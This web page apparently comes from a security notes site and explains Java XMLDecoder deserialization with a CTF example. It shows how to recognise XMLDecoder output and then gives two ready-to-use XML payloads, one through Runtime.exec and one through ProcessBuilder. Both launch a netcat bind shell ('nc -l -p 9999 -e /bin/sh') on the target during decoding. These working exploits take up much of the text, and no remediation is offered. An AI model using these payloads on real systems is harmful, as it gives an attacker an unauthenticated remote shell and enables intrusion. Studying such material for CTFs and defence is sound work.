Skip to main content

xmldecoder-deserialization

XMLDecoder Deserialization

An application using Java’s XMLDecoder to unserialize user-controlled data can be exploited to achieve remote code execution (RCE).

The core issue is unsafe deserialization: the application blindly trusts XML input and passes it to XMLDecoder.readObject().

What Is XMLDecoder?

java.beans.XMLDecoder is a Java class that:

  • Parses XML input
  • Instantiates Java objects
  • Invokes methods defined in the XML structure

Security problem:
If attackers can control the XML passed to XMLDecoder, they can:

  • Instantiate arbitrary Java classes
  • Invoke dangerous methods
  • Achieve arbitrary command execution

Identifying the Vulnerability

When analyzing a document signature returned by the application, we immediately notice XMLDecoder syntax:

<?xml version="1.0" encoding="UTF-8"?>
<strong>&#x3C;java version="1.7.0_111" class="java.beans.XMLDecoder">
</strong> &#x3C;object class="models.CTFSignature" id="CTFSignature0">
&#x3C;void class="models.CTFSignature" method="getField">
&#x3C;string>hash&#x3C;/string>
&#x3C;void method="set">
&#x3C;object idref="CTFSignature0"/>
&#x3C;string>da39a3ee5e6b4b0d3255bfef95601890afd80709&#x3C;/string>
&#x3C;/void>
&#x3C;/void>
&#x3C;void class="models.CTFSignature" method="getField">
&#x3C;string>sig&#x3C;/string>
&#x3C;void method="set">
&#x3C;object idref="CTFSignature0"/>
&#x3C;string>12a626d7c85bcc21d9f35302e33914104d8329a0&#x3C;/string>
&#x3C;/void>
&#x3C;/void>
&#x3C;/object>
&#x3C;/java>

Indicators:

  • <java class="java.beans.XMLDecoder">
  • <object>, <void>, <array> elements
  • Method calls encoded directly in XML

This confirms XMLDecoder-based deserialization.

Exploitation

Achieve command execution by forcing XMLDecoder to:

  1. Obtain a Runtime or ProcessBuilder object
  2. Execute an OS command

To translate this into XMLDecoder format:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0"><string>/usr/bin/nc</string></void>
<void index="1"><string>-l</string></void>
<void index="2"><string>-p</string></void>
<void index="3"><string>9999</string></void>
<void index="4"><string>-e</string></void>
<void index="5"><string>/bin/sh</string></void>
</array>
</void>
</object>
</java>

  • getRuntime() returns a Runtime instance
  • exec() is invoked during deserialization
  • Command execution happens before authentication or validation

Instead of Runtime.exec(), we can also use ProcessBuilder:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0"><string>/usr/bin/nc</string></void>
<void index="1"><string>-l</string></void>
<void index="2"><string>-p</string></void>
<void index="3"><string>9999</string></void>
<void index="4"><string>-e</string></void>
<void index="5"><string>/bin/sh</string></void>
</array>
<void method="start" id="process"/>
</void>
</java>

start() is automatically executed during XML decoding.